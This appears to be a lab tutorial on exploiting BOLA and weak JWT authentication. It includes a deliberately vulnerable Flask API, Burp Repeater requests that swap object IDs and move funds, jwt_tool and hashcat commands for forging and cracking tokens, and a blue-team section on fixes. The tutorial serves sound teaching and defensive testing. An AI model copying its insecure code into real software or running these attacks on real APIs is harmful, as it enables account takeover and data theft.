TL;DR: How BOLA and Broken Auth Attacks Work in One Paragraph
BOLA and Broken Auth API Attacks with Burp Suite: Step-by-Step Lab
BOLA lets you read or modify other users’ data simply by swapping object IDs in API requests; broken authentication lets you forge or reuse weak tokens like unsigned JWTs. Both are exploitable with free Burp Suite tools—Repeater for manual attacks, Autorize for automated authorization testing—against a lab you build yourself.
That’s the whole game in one paragraph. The rest of this guide walks you through building a deliberately vulnerable API, attacking it step-by-step, and then flipping to the blue-team lens to understand the fixes.
Why BOLA Is the #1 API Vulnerability (OWASP API Top 10)
In 2023, the OWASP Foundation released its updated API Security Top 10, and Broken Object Level Authorization—BOLA—took the top slot as API1:2023. Not new. Not exotic. Just the most common flaw in modern APIs, period.
The root cause is structural: APIs expose everything as objects with identifiers. /api/orders/4821, /api/users/1002, /api/documents/a7f3-.... Every identifier is an invitation. The question that separates a secure API from a compromised one is embarrassingly simple: does the server check that the authenticated user actually owns the requested object?
When developers rely on the client to send the right ID—and assume the token proves intent—they’ve outsourced authorization to the attacker. Paired with API2:2023 Broken Authentication, where weak JWT validation, missing signature checks, or replayable tokens let you impersonate users outright, you get the two highest-impact API attack classes in the wild. CISA and OWASP’s joint API Security Project guidance makes the same point: the API surface you can’t see is the one testing teams forget to attack.
Traditional web app pentesting focuses on injection and XSS; API testing throws much of that emphasis out the window. The API hacking playbook starts with authorization—and Burp Suite is the primary weapon.
Lab Setup: Building a Vulnerable Test API
Never test APIs you don’t own. Build this Flask app locally—it ships with IDOR-prone endpoints and a deliberately weak JWT implementation.
Project structure:
vuln-api/
├── app.py
├── requirements.txt
└── Dockerfile
app.py:
from flask import Flask, request, jsonify
import jwt
app = Flask(__name__)
SECRET = "secret123" # Weak on purpose
USERS = {
1001: {"id": 1001, "username": "alice", "role": "user", "balance": 5000},
1002: {"id": 1002, "username": "bob", "role": "user", "balance": 300},
1003: {"id": 1003, "username": "admin", "role": "admin", "balance": 90000},
}
def make_token(user_id, alg="HS256"):
payload = {"sub": str(user_id), "role": USERS[user_id]["role"]}
if alg == "none":
return jwt.encode(payload, "", algorithm="none")
return jwt.encode(payload, SECRET, algorithm=alg)
@app.route("/login", methods=["POST"])
def login():
uid = int(request.json.get("user_id", 0))
if uid not in USERS:
return jsonify({"error": "no such user"}), 401
return jsonify({"token": make_token(uid)})
@app.route("/api/users/<int:user_id>", methods=["GET"])
def get_user(user_id):
token = request.headers.get("Authorization", "").replace("Bearer ", "")
try:
# FLAW: alg is taken from token header; accepts "none"
data = jwt.decode(token, SECRET, algorithms=["HS256", "none"])
except Exception:
return jsonify({"error": "invalid token"}), 401
# FLAW: no ownership check — BOLA
return jsonify(USERS.get(user_id, {}))
@app.route("/api/transfer", methods=["POST"])
def transfer():
token = request.headers.get("Authorization", "").replace("Bearer ", "")
data = jwt.decode(token, SECRET, algorithms=["HS256", "none"])
# FLAW: no verification that caller owns from_account
return jsonify({"status": "ok", "moved": request.json}), 200
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
requirements.txt:
flask==3.0.3
PyJWT==2.9.0
Dockerfile:
FROM python:3.12-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY app.py .
CMD ["python", "app.py"]
Run it:
docker build -t vuln-api .
docker run -p 5000:5000 vuln-api
You now have two flaws worth exploiting: BOLA on /api/users/<id> and broken JWT validation that accepts the none algorithm.
Setting Up Burp Suite: Proxy, CA Cert, and FoxyProxy
- Download Burp Suite Community Edition (current major version: 2024.x+) and launch it with default temporary project settings.
- Confirm the proxy listener runs on
127.0.0.1:8080under Proxy → Proxy settings. - Install the FoxyProxy extension in your browser and point it at
127.0.0.1:8080. Toggling proxying on and off becomes one click. - Browse to
http://burpsuitethrough the proxy and download the CA certificate. Import it into your browser or OS trust store (Firefox: Settings → Privacy & Security → Certificates → View Certificates → Import).
Send a test request to http://localhost:5000/login and confirm it appears in Burp’s HTTP history. You’re live.
Recon: Mapping API Endpoints and Object IDs
Log in as alice and bob via your proxied browser or curl, and watch Burp’s HTTP history. Two things matter:
- Endpoint patterns.
/api/users/1001reveals an object hierarchy: collection (users), identifier (1001). - Identifier entropy. Sequential numeric IDs are trivially enumerable. If you see
1001, you try1002,1003. GUIDs don’t fix this—they just slow enumeration (more on that later).
Also capture each user’s JWT from the Authorization header. Right-click any request and choose Send to Repeater. Keep one session per user clearly labeled—you’ll be swapping them constantly.
Exploiting BOLA with Burp Repeater
Step 1. In Repeater, replay alice’s request to her own object:
GET /api/users/1001 HTTP/1.1
Host: localhost:5000
Authorization: Bearer <alice_token>
Response: alice’s data. Baseline confirmed.
Step 2. Change nothing but the ID—keep alice’s token:
GET /api/users/1002 HTTP/1.1
Authorization: Bearer <alice_token>
Response: bob’s full record. That’s BOLA. The server authenticated alice correctly, then served her bob’s object because nothing validates ownership. Repeat with 1003 to pull the admin’s record—privilege escalation for free.
Step 3. Hit the transfer endpoint as alice, moving money out of bob’s account:
POST /api/transfer HTTP/1.1
Authorization: Bearer <alice_token>
Content-Type: application/json
{"from_account": 1002, "to_account": 1001, "amount": 300}
Read access becomes write access. The OWASP Broken Authentication guidance notes this pattern—BOLA plus weak auth compounds fast.
Exploiting Broken Authentication: Weak JWTs and Token Flaws
Authentication bypass beats impersonation-via-BOLA because it works even on endpoints with ownership checks—checks keyed to a token you fully control.
Attack 1: the none algorithm. Our lab accepts algorithms=["HS256", "none"]—a real-world misconfiguration seen in older libraries. Forge a token with no signature using jwt_tool:
python3 jwt_tool.py <captured_token> -X a
# Tamper the payload too:
python3 jwt_tool.py <captured_token> -X a -I -pc sub -pv 1003 -pc role -pv admin
Send it in Repeater. If the server returns 200, signature verification is decorative.
Attack 2: crack a weak secret. With hashcat:
hashcat -a 0 -m 16500 token.txt rockyou.txt
Our hardcoded secret123 falls in seconds against any common wordlist. Once you have the secret, mint arbitrary tokens—including admin (1003)—with jwt_tool’s sign mode (-X s -S hs256 -p secret123). Full account takeover of the lab, start to finish.
Also test: missing exp claims (token never expires), accepting tokens from the URL query string, and replaying revoked tokens. Each is its own API2 finding.
Automating Authorization Testing with Autorize
Manual ID-swapping scales badly. Autorize automates it.
- Install via Extensions → BApp Store → Autorize (available in Community Edition).
- In the Autorize tab, paste bob’s low-privilege token into the “injected request headers” configuration box.
- Set an enforcement detector: an unauthorized response returns 401/403 with a short body, so flag duplicates where response lengths match the blocked baseline.
- Browse the app as admin with interception on. Autorize replays every request three ways: your cookie (admin), the injected low-priv cookie, and unauthenticated.
Read the table:
- Bypassed! (red) — low-priv token got the same response. Authorization flaw.
- Enforced (green) — proper 401/403. Healthy.
- Enforcement detector untested (orange) — configure the detector and re-check.
Point it at the lab’s endpoints and every user-object route lights up red. That’s your BOLA inventory, generated automatically.
Blue-Team Lens: Detecting and Preventing BOLA and Auth Flaws
Every attack above maps to a concrete control:
- Server-side ownership checks. The real fix. Every object lookup must include the caller’s identity in the query:
WHERE id = :id AND owner_id = :current_user. Enforce it in a shared middleware layer, not per-endpoint discipline. - UUIDs as defense-in-depth only. Random identifiers raise enumeration cost but are not access control—they leak in logs, referrers, and other API responses. OWASP explicitly ranks UUIDs below proper authorization checks.
- JWT hardening. Pin the algorithm allowlist server-side (never accept
none), validateexpandiss, enforce short lifetimes with refresh rotation, and use strong secrets (256-bit+) or asymmetric keys. Follow RFC 8725, Best Current Practices for JWT. - Detection. Log object IDs per session and alert on cross-account access patterns—a single session hitting hundreds of distinct user objects is enumeration. CISA’s API security guidance emphasizes logging and anomaly detection on the API gateway.
- Assume client-side checks don’t exist. Anything the client can send, an attacker can send differently.
Cleanup and Lab Teardown
docker stop <container_id> && docker rm <container_id>
docker rmi vuln-api
Remove the test JWTs from your notes, clear FoxyProxy config, and revoke the Burp CA cert if you installed it on your daily browser profile. Remember: everything here is legal only because it ran against infrastructure you own. Apply the same techniques elsewhere only under written authorization.
Practice Targets and Next Steps
- crAPI — OWASP’s deliberately vulnerable REST API; BOLA, JWT flaws, and more in realistic packaging.
- OWASP Juice Shop — includes an API challenge track with the same flaw classes.
- PortSwigger Web Security Academy — API Testing — free, guided labs built by Burp’s own vendor.
- HackTheBox — API challenges and machines for adversarial practice.
- DVWA — classic web vulns, useful for contrasting API vs. web testing approaches.
Work crAPI next. It’s the closest thing to a production API you can legally break.
Frequently Asked Questions
What is the difference between BOLA and IDOR?
Functionally, they’re the same flaw class: object access without ownership validation. IDOR is the broader web vulnerability term dating to 2004’s OWASP Top 10; BOLA (API1:2023) is the API-specific OWASP designation. If you can exploit one, you understand the other.
Is testing BOLA on live APIs legal?
Only with written authorization—a bug bounty program with explicit scope or a signed pentest contract. Out-of-scope testing is a crime under computer misuse laws regardless of intent. When learning, use your own lab or the dedicated training targets listed above.
Do UUIDs prevent BOLA?
No. UUIDs raise the enumeration bar but aren’t access control—they leak through logs, other API responses, and referrer headers. The only real fix is server-side object ownership checks.
Is Autorize available in Burp Suite Community Edition?
Yes. Autorize installs via the BApp Store on Community Edition. Some Burp Pro features—like Intruder’s full attack speed—differ, but Autorize’s core authorization-diffing works identically.
What’s the best way to learn API hacking hands-on?
Start with crAPI and OWASP Juice Shop, then work PortSwigger’s API Testing Academy modules, then HackTheBox challenges. Build your own vulnerable lab first—debugging your own flaws teaches more than any walkthrough.
Related reading
- DNSSEC Explained: Chain of Trust, NSEC3 and the October 2026 Root Rollover
- Break Your Own API with DAST: OWASP ZAP Scans and Authenticated API Testing Lab
